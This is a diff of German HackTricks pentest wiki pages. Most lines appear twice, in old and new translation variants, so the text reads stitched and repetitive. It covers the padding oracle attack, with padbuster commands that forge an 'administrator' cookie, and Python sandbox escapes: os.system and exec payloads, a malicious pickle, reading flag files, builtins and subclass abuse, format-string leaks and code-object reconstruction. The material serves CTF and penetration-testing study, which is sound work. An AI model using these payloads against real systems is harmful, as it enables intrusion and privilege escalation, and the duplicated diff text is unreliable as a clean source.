| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** |
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** |
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
|
||||
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
|
||||
|
||||
Beachten Sie, wie im letzten Beispiel der **letzte Block voll war, sodass ein weiterer nur mit Padding generiert wurde**.
|
||||
Beachten Sie, dass im letzten Beispiel der **letzte Block voll war, sodass ein weiterer nur mit Padding generiert wurde**.
|
||||
|
||||
# Padding-Oracle
|
||||
# Padding Oracle
|
||||
|
||||
Wenn eine Anwendung verschlüsselte Daten entschlüsselt, wird sie zuerst die Daten entschlüsseln; dann wird sie das Padding entfernen. Während der Bereinigung des Paddings, wenn ein **ungültiges Padding ein erkennbares Verhalten auslöst**, haben Sie eine **Padding-Oracle-Schwachstelle**. Das erkennbare Verhalten kann ein **Fehler**, ein **Fehlen von Ergebnissen** oder eine **langsamere Antwort** sein.
|
||||
Wenn eine Anwendung verschlüsselte Daten entschlüsselt, wird sie zuerst die Daten entschlüsseln; dann wird sie das Padding entfernen. Während der Bereinigung des Paddings, wenn ein **ungültiges Padding ein erkennbares Verhalten auslöst**, haben Sie eine **Padding-Oracle-Schwachstelle**. Das erkennbare Verhalten kann ein **Fehler**, ein **Mangel an Ergebnissen** oder eine **langsamere Antwort** sein.
|
||||
|
||||
Wenn Sie dieses Verhalten erkennen, können Sie die **verschlüsselten Daten entschlüsseln** und sogar **beliebigen Klartext verschlüsseln**.
|
||||
Wenn Sie dieses Verhalten erkennen, können Sie **die verschlüsselten Daten entschlüsseln** und sogar **beliebigen Klartext verschlüsseln**.
|
||||
|
||||
## Wie man ausnutzt
|
||||
|
||||
Sie könnten [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) verwenden, um diese Art von Schwachstelle auszunutzen oder einfach
|
||||
Sie könnten [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) verwenden, um diese Art von Schwachstelle auszunutzen oder einfach tun
|
||||
```
|
||||
sudo apt-get install padbuster
|
||||
```
|
||||
Um zu testen, ob das Cookie einer Website anfällig ist, könnten Sie Folgendes versuchen:
|
||||
Um zu testen, ob das Cookie einer Seite anfällig ist, könnten Sie Folgendes versuchen:
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
|
||||
```
|
||||
**Encoding 0** bedeutet, dass **base64** verwendet wird (aber andere sind verfügbar, überprüfen Sie das Hilfemenü).
|
||||
**Encoding 0** bedeutet, dass **base64** verwendet wird (aber es sind auch andere verfügbar, siehe das Hilfemenü).
|
||||
|
||||
Sie könnten auch **diese Schwachstelle ausnutzen, um neue Daten zu verschlüsseln. Zum Beispiel, stellen Sie sich vor, der Inhalt des Cookies lautet "**_**user=MyUsername**_**", dann könnten Sie es in "\_user=administrator\_" ändern und Privilegien innerhalb der Anwendung eskalieren. Sie könnten dies auch mit `padbuster` tun, indem Sie den Parameter -plaintext** angeben:
|
||||
Sie könnten auch **diese Schwachstelle ausnutzen, um neue Daten zu verschlüsseln. Zum Beispiel, stellen Sie sich vor, der Inhalt des Cookies ist "**_**user=MyUsername**_**", dann könnten Sie ihn in "\_user=administrator\_" ändern und die Berechtigungen innerhalb der Anwendung eskalieren. Sie könnten dies auch mit `paduster` tun, indem Sie den -plaintext** Parameter angeben:
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
|
||||
```
|
||||
Wenn die Website anfällig ist, wird `padbuster` automatisch versuchen, den Zeitpunkt zu finden, an dem der Padding-Fehler auftritt. Sie können jedoch auch die Fehlermeldung angeben, indem Sie den Parameter **-error** verwenden.
|
||||
Wenn die Seite anfällig ist, wird `padbuster` automatisch versuchen herauszufinden, wann der Padding-Fehler auftritt, aber Sie können auch die Fehlermeldung mit dem **-error** Parameter angeben.
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
|
||||
```
|
||||
## Die Theorie
|
||||
|
||||
Zusammengefasst können Sie beginnen, die verschlüsselten Daten zu entschlüsseln, indem Sie die korrekten Werte erraten, die verwendet werden können, um alle verschiedenen **Paddings** zu erstellen. Dann wird der Padding-Oracle-Angriff beginnen, Bytes vom Ende zum Anfang zu entschlüsseln, indem geraten wird, welcher der korrekte Wert ist, der ein Padding von 1, 2, 3 usw. erstellt.
|
||||
In **Zusammenfassung** können Sie mit dem Entschlüsseln der verschlüsselten Daten beginnen, indem Sie die richtigen Werte erraten, die verwendet werden können, um alle **verschiedenen Paddings** zu erstellen. Dann beginnt der Padding-Oracle-Angriff, Bytes vom Ende zum Anfang zu entschlüsseln, indem erraten wird, welcher der richtige Wert ist, der **ein Padding von 1, 2, 3 usw. erzeugt**.
|
||||
|
||||
![](<../.gitbook/assets/image (629) (1) (1).png>)
|
||||
|
||||
Stellen Sie sich vor, Sie haben einen verschlüsselten Text, der **2 Blöcke** umfasst, die aus den Bytes von **E0 bis E15** gebildet sind. Um den **letzten Block** (**E8** bis **E15**) zu **entschlüsseln**, durchläuft der gesamte Block die "Blockchiffre-Entschlüsselung", wodurch die **Zwischenbytes I0 bis I15** generiert werden. Schließlich wird jedes Zwischenbyte mit den vorherigen verschlüsselten Bytes (E0 bis E7) **XORed**. Also:
|
||||
Stellen Sie sich vor, Sie haben einen verschlüsselten Text, der **2 Blöcke** umfasst, die aus den Bytes von **E0 bis E15** bestehen.\
|
||||
Um den **letzten** **Block** (**E8** bis **E15**) zu **entschlüsseln**, durchläuft der gesamte Block die "Blockchiffre-Entschlüsselung", die die **Zwischenbytes I0 bis I15** erzeugt.\
|
||||
Schließlich wird jedes Zwischenbyte mit den vorherigen verschlüsselten Bytes (E0 bis E7) **XORed**. Also:
|
||||
|
||||
- `C15 = D(E15) ^ E7 = I15 ^ E7`
|
||||
- `C14 = I14 ^ E6`
|
||||
- `C13 = I13 ^ E5`
|
||||
- `C12 = I12 ^ E4`
|
||||
- ...
|
||||
* `C15 = D(E15) ^ E7 = I15 ^ E7`
|
||||
* `C14 = I14 ^ E6`
|
||||
* `C13 = I13 ^ E5`
|
||||
* `C12 = I12 ^ E4`
|
||||
* ...
|
||||
|
||||
Nun ist es möglich, `E7` zu **ändern, bis `C15` `0x01` ist**, was auch ein korrektes Padding sein wird. Also, in diesem Fall: `\x01 = I15 ^ E'7`
|
||||
Jetzt ist es möglich, `E7` so zu **modifizieren**, dass `C15` `0x01` ist, was ebenfalls ein korrektes Padding sein wird. In diesem Fall: `\x01 = I15 ^ E'7`
|
||||
|
||||
Daher, wenn man E'7 findet, ist es **möglich, I15 zu berechnen**: `I15 = 0x01 ^ E'7`
|
||||
Durch das Finden von E'7 ist es **möglich, I15 zu berechnen**: `I15 = 0x01 ^ E'7`
|
||||
|
||||
Das ermöglicht es uns, **C15 zu berechnen**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||
Was es uns ermöglicht, **C15 zu berechnen**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||
|
||||
Nachdem **C15** bekannt ist, ist es nun möglich, **C14 zu berechnen**, aber dieses Mal durch Brute-Force des Paddings `\x02\x02`.
|
||||
Wenn **C15** bekannt ist, ist es jetzt möglich, **C14 zu berechnen**, aber diesmal durch Brute-Forcing des Paddings `\x02\x02`.
|
||||
|
||||
Dieser BF ist genauso komplex wie der vorherige, da es möglich ist, das `E''15` zu berechnen, dessen Wert 0x02 ist: `E''7 = \x02 ^ I15`, sodass es nur noch erforderlich ist, den **`E'14`** zu finden, der ein **`C14` gleich `0x02`** erzeugt. Dann die gleichen Schritte ausführen, um C14 zu entschlüsseln: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||
Dieses BF ist so komplex wie das vorherige, da es möglich ist, das `E''15` zu berechnen, dessen Wert 0x02 ist: `E''7 = \x02 ^ I15`, sodass nur **`E'14`** gefunden werden muss, das ein **`C14` erzeugt, das gleich `0x02` ist**.\
|
||||
Dann die gleichen Schritte wiederholen, um C14 zu entschlüsseln: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||
|
||||
**Folgen Sie dieser Kette, bis Sie den gesamten verschlüsselten Text entschlüsseln.**
|
||||
**Folgen Sie dieser Kette, bis Sie den gesamten verschlüsselten Text entschlüsselt haben.**
|
||||
|
||||
## Erkennung der Schwachstelle
|
||||
|
||||
Registrieren Sie ein Konto und melden Sie sich mit diesem Konto an. Wenn Sie sich **viele Male anmelden** und immer das **gleiche Cookie** erhalten, gibt es wahrscheinlich **etwas** **Falsches** in der Anwendung. Das zurückgesendete Cookie sollte jedes Mal, wenn Sie sich anmelden, **eindeutig** sein. Wenn das Cookie **immer** das **gleiche** ist, wird es wahrscheinlich immer gültig sein und es wird **keinen Weg geben, es ungültig zu machen**.
|
||||
Registrieren Sie ein Konto und melden Sie sich mit diesem Konto an.\
|
||||
Wenn Sie sich **mehrmals anmelden** und immer dasselbe **Cookie** erhalten, ist wahrscheinlich **etwas** **falsch** in der Anwendung. Das **zurückgesendete Cookie sollte jedes Mal einzigartig sein**, wenn Sie sich anmelden. Wenn das Cookie **immer** dasselbe ist, wird es wahrscheinlich immer gültig sein und es **wird keinen Weg geben, es zu ungültig zu machen**.
|
||||
|
||||
Wenn Sie nun versuchen, das **Cookie zu ändern**, erhalten Sie einen **Fehler** von der Anwendung. Wenn Sie jedoch das Padding brute-forcen (zum Beispiel mit PadBuster), gelingt es Ihnen, ein anderes Cookie zu erhalten, das für einen anderen Benutzer gültig ist. Dieses Szenario ist höchstwahrscheinlich anfällig für PadBuster.
|
||||
Wenn Sie jetzt versuchen, das **Cookie zu modifizieren**, können Sie sehen, dass Sie einen **Fehler** von der Anwendung erhalten.\
|
||||
Aber wenn Sie das Padding brute-forcen (zum Beispiel mit Padbuster), schaffen Sie es, ein anderes Cookie zu erhalten, das für einen anderen Benutzer gültig ist. Dieses Szenario ist höchstwahrscheinlich anfällig für Padbuster.
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
|
||||
* [https://de.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://de.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
|
||||
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichen.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,25 +1,35 @@
|
|||
# Bypass Python sandboxes
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos sendest.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und die Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
|
||||
Dies sind einige Tricks, um die Python-Sandbox-Schutzmaßnahmen zu umgehen und beliebige Befehle auszuführen.
|
||||
|
||||
## Bibliotheken zur Befehlsausführung
|
||||
## Befehlsausführungsbibliotheken
|
||||
|
||||
Das erste, was du wissen musst, ist, ob du Code direkt mit einer bereits importierten Bibliothek ausführen kannst oder ob du eine dieser Bibliotheken importieren könntest:
|
||||
Das erste, was Sie wissen müssen, ist, ob Sie Code direkt mit einer bereits importierten Bibliothek ausführen können oder ob Sie eine dieser Bibliotheken importieren könnten:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
|
@ -66,7 +76,7 @@ Python versucht, **zuerst Bibliotheken aus dem aktuellen Verzeichnis zu laden**
|
|||
|
||||
### Standardpakete
|
||||
|
||||
Du kannst eine **Liste der vorinstallierten** Pakete hier finden: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Hier findest du eine **Liste der vorinstallierten** Pakete: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Beachte, dass du aus einem Pickle die Python-Umgebung **beliebige Bibliotheken** importieren kannst, die im System installiert sind.\
|
||||
Zum Beispiel wird der folgende Pickle, wenn er geladen wird, die Pip-Bibliothek importieren, um sie zu verwenden:
|
||||
```python
|
||||
|
@ -81,7 +91,7 @@ return (pip.main,(["list"],))
|
|||
|
||||
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||
```
|
||||
Für weitere Informationen darüber, wie Pickle funktioniert, siehe hier: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
Für weitere Informationen darüber, wie Pickle funktioniert, siehe dies: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
|
||||
### Pip-Paket
|
||||
|
||||
|
@ -103,10 +113,10 @@ Dieses Paket heißt `Reverse`. Es wurde jedoch speziell so gestaltet, dass, wenn
|
|||
## Eval-ing python code
|
||||
|
||||
{% hint style="warning" %}
|
||||
Beachten Sie, dass exec mehrzeilige Strings und ";" erlaubt, eval jedoch nicht (prüfen Sie den Walross-Operator).
|
||||
Beachten Sie, dass exec mehrzeilige Strings und ";" erlaubt, eval jedoch nicht (überprüfen Sie den Walross-Operator).
|
||||
{% endhint %}
|
||||
|
||||
Wenn bestimmte Zeichen verboten sind, können Sie die **Hex-/Oktal-/B64**-Darstellung verwenden, um die Einschränkung zu **umgehen**:
|
||||
Wenn bestimmte Zeichen verboten sind, können Sie die **Hex-/Oktal/B64**-Darstellung verwenden, um die Einschränkung zu **umgehen**:
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
|
@ -163,7 +173,7 @@ return x
|
|||
#+AAo-print(open("/flag.txt").read())
|
||||
""".lstrip()
|
||||
```
|
||||
Es ist auch möglich, es mit anderen Kodierungen zu umgehen, z. B. `raw_unicode_escape` und `unicode_escape`.
|
||||
Es ist auch möglich, es mit anderen Kodierungen zu umgehen, z.B. `raw_unicode_escape` und `unicode_escape`.
|
||||
|
||||
## Python-Ausführung ohne Aufrufe
|
||||
|
||||
|
@ -308,7 +318,7 @@ __iadd__ = eval
|
|||
__builtins__.__import__ = X
|
||||
{}[1337]
|
||||
```
|
||||
### Datei mit Builtins Hilfe & Lizenz lesen
|
||||
### Datei mit builtins Hilfe & Lizenz lesen
|
||||
```python
|
||||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
||||
a = __builtins__.help
|
||||
|
@ -322,7 +332,7 @@ pass
|
|||
* [**Builtins-Funktionen von python2**](https://docs.python.org/2/library/functions.html)
|
||||
* [**Builtins-Funktionen von python3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
Wenn Sie auf das **`__builtins__`** Objekt zugreifen können, können Sie Bibliotheken importieren (beachten Sie, dass Sie hier auch eine andere Zeichenfolgenrepräsentation verwenden könnten, die im letzten Abschnitt gezeigt wurde):
|
||||
Wenn Sie auf das **`__builtins__`**-Objekt zugreifen können, können Sie Bibliotheken importieren (beachten Sie, dass Sie hier auch eine andere Zeichenfolgenrepräsentation verwenden könnten, die im letzten Abschnitt gezeigt wurde):
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
|
@ -332,7 +342,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
|||
Wenn Sie `__builtins__` nicht haben, können Sie nichts importieren und auch keine Dateien lesen oder schreiben, da **alle globalen Funktionen** (wie `open`, `import`, `print`...) **nicht geladen sind**.\
|
||||
Allerdings **importiert Python standardmäßig viele Module in den Speicher**. Diese Module mögen harmlos erscheinen, aber einige von ihnen **importieren auch gefährliche** Funktionalitäten, die genutzt werden können, um sogar **willkürliche Codeausführung** zu erlangen.
|
||||
|
||||
In den folgenden Beispielen können Sie beobachten, wie man einige dieser "**harmlosen**" Module ausnutzen kann, um **gefährliche** **Funktionalitäten** in ihnen **zuzugreifen**.
|
||||
In den folgenden Beispielen können Sie beobachten, wie man einige dieser "**harmlosen**" Module ausnutzen kann, um **auf** **gefährliche** **Funktionalitäten** in ihnen zuzugreifen.
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
|
@ -420,7 +430,7 @@ class_obj.__init__.__globals__
|
|||
|
||||
## Entdecken von willkürlicher Ausführung
|
||||
|
||||
Hier möchte ich erklären, wie man leicht **gefährlichere Funktionen** entdecken kann, die geladen sind, und zuverlässigere Exploits vorschlagen.
|
||||
Hier möchte ich erklären, wie man leicht **gefährlichere Funktionen** entdecken und zuverlässigere Exploits vorschlagen kann.
|
||||
|
||||
#### Zugriff auf Unterklassen mit Bypässen
|
||||
|
||||
|
@ -670,7 +680,7 @@ print(SEARCH_FOR)
|
|||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
Sie können die Ausgabe dieses Skripts auf dieser Seite überprüfen:
|
||||
Du kannst die Ausgabe dieses Skripts auf dieser Seite überprüfen:
|
||||
|
||||
{% content-ref url="https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md" %}
|
||||
[https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md)
|
||||
|
@ -678,7 +688,7 @@ Sie können die Ausgabe dieses Skripts auf dieser Seite überprüfen:
|
|||
|
||||
## Python Format-String
|
||||
|
||||
Wenn Sie eine **Zeichenkette** an Python **senden**, die **formatiert** werden soll, können Sie `{}` verwenden, um auf **interne Informationen von Python** zuzugreifen. Sie können die vorherigen Beispiele verwenden, um beispielsweise auf Globals oder Builtins zuzugreifen.
|
||||
Wenn du eine **Zeichenkette** an Python **sendest**, die **formatiert** werden soll, kannst du `{}` verwenden, um auf **interne Informationen von Python** zuzugreifen. Du kannst die vorherigen Beispiele verwenden, um beispielsweise auf Globals oder Builtins zuzugreifen.
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
CONFIG = {
|
||||
|
@ -698,7 +708,7 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
|||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Beachten Sie, wie Sie **Attribute** auf normale Weise mit einem **Punkt** wie `people_obj.__init__` und **dict-Elemente** mit **Klammern** ohne Anführungszeichen `__globals__[CONFIG]` zugreifen können.
|
||||
Beachten Sie, wie Sie **Attribute** auf normale Weise mit einem **Punkt** wie `people_obj.__init__` und **Dictionärelemente** mit **Klammern** ohne Anführungszeichen `__globals__[CONFIG]` zugreifen können.
|
||||
|
||||
Beachten Sie auch, dass Sie `.__dict__` verwenden können, um Elemente eines Objekts aufzulisten `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`.
|
||||
|
||||
|
@ -707,7 +717,7 @@ Einige andere interessante Eigenschaften von Format-Strings sind die Möglichkei
|
|||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Darüber hinaus ist es möglich, **neue Formatter** in Klassen zu **codieren**:
|
||||
Darüber hinaus ist es möglich, **neue Formatter** in Klassen zu codieren:
|
||||
```python
|
||||
class HAL9000(object):
|
||||
def __format__(self, format):
|
||||
|
@ -789,9 +799,9 @@ Die Herausforderung missbraucht tatsächlich eine andere Schwachstelle im Server
|
|||
Wenn du mehr über **python bytecode** erfahren möchtest, lies diesen **tollen** Beitrag zu dem Thema: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
{% endhint %}
|
||||
|
||||
In einigen CTFs könnte dir der Name einer **benutzerdefinierten Funktion, in der sich das Flag** befindet, bereitgestellt werden und du musst die **Interna** der **Funktion** einsehen, um es zu extrahieren.
|
||||
In einigen CTFs könnte dir der Name einer **benutzerdefinierten Funktion, in der das Flag** gespeichert ist, bereitgestellt werden und du musst die **Interna** der **Funktion** einsehen, um es zu extrahieren.
|
||||
|
||||
Dies ist die Funktion, die zu inspizieren ist:
|
||||
Dies ist die Funktion, die untersucht werden soll:
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
|
@ -824,7 +834,7 @@ CustomClassObject.__class__.__init__.__globals__
|
|||
|
||||
### **Zugriff auf den Funktionscode**
|
||||
|
||||
**`__code__`** und `func_code`: Sie können dieses **Attribut** der Funktion **zugreifen**, um das **Code-Objekt** der Funktion zu **erhalten**.
|
||||
**`__code__`** und `func_code`: Sie können **auf** dieses **Attribut** der Funktion **zugreifen**, um das **Code-Objekt** der Funktion **zu erhalten**.
|
||||
```python
|
||||
# In our current example
|
||||
get_flag.__code__
|
||||
|
@ -838,7 +848,7 @@ compile("print(5)", "", "single")
|
|||
dir(get_flag.__code__)
|
||||
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
|
||||
```
|
||||
### Code-Information abrufen
|
||||
### Informationen zum Code abrufen
|
||||
```python
|
||||
# Another example
|
||||
s = '''
|
||||
|
@ -952,7 +962,7 @@ return "Nope"
|
|||
```
|
||||
### Erstellen des Code-Objekts
|
||||
|
||||
Zunächst müssen wir wissen, **wie man ein Code-Objekt erstellt und ausführt**, damit wir eines erstellen können, um unsere Funktion auszuführen, die geleakt wurde:
|
||||
Zunächst müssen wir wissen, **wie man ein Code-Objekt erstellt und ausführt**, damit wir eines erstellen können, um unsere Funktion zu exécutieren:
|
||||
```python
|
||||
code_type = type((lambda: None).__code__)
|
||||
# Check the following hint if you get an error in calling this
|
||||
|
@ -983,7 +993,7 @@ types.CodeType.__doc__
|
|||
### Wiederherstellung einer geleakten Funktion
|
||||
|
||||
{% hint style="warning" %}
|
||||
Im folgenden Beispiel werden wir alle Daten, die benötigt werden, um die Funktion direkt aus dem Funktionscode-Objekt wiederherzustellen, entnehmen. In einem **echten Beispiel** sind alle **Werte**, um die Funktion **`code_type`** auszuführen, das, was **du geleakt** haben musst.
|
||||
Im folgenden Beispiel werden wir alle Daten verwenden, die benötigt werden, um die Funktion direkt aus dem Funktionscode-Objekt wiederherzustellen. In einem **echten Beispiel** sind alle **Werte**, um die Funktion **`code_type`** auszuführen, das, was **du leaken** musst.
|
||||
{% endhint %}
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
|
@ -997,7 +1007,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
|||
```
|
||||
### Bypass Defenses
|
||||
|
||||
In den vorherigen Beispielen zu Beginn dieses Beitrags kannst du **sehen, wie man jeden Python-Code mit der `compile`-Funktion ausführt**. Das ist interessant, weil du **ganze Skripte** mit Schleifen und allem in einer **einzeiligen Anweisung** ausführen kannst (und wir könnten dasselbe mit **`exec`** tun).\
|
||||
In den vorherigen Beispielen zu Beginn dieses Beitrags kannst du sehen, **wie man jeden Python-Code mit der `compile`-Funktion ausführt**. Das ist interessant, weil man **ganze Skripte** mit Schleifen und allem in einer **einzeiligen Anweisung** ausführen kann (und wir könnten dasselbe mit **`exec`** tun).\
|
||||
Wie auch immer, manchmal könnte es nützlich sein, ein **kompiliertes Objekt** auf einer lokalen Maschine zu **erstellen** und es auf der **CTF-Maschine** auszuführen (zum Beispiel, weil wir die `compiled`-Funktion in der CTF nicht haben).
|
||||
|
||||
Zum Beispiel, lass uns manuell eine Funktion kompilieren und ausführen, die _./poc.py_ liest:
|
||||
|
@ -1049,7 +1059,7 @@ Mit Tools wie [**https://www.decompiler.com/**](https://www.decompiler.com) kann
|
|||
|
||||
### Assert
|
||||
|
||||
Python, das mit Optimierungen mit dem Parameter `-O` ausgeführt wird, entfernt Assert-Anweisungen und jeden Code, der vom Wert von **debug** abhängt.\
|
||||
Python, das mit Optimierungen mit dem Parameter `-O` ausgeführt wird, entfernt Assert-Anweisungen und jeden Code, der von dem Wert **debug** abhängt.\
|
||||
Daher sind Überprüfungen wie
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
|
@ -1059,7 +1069,7 @@ print("\nYou are a super user\n")
|
|||
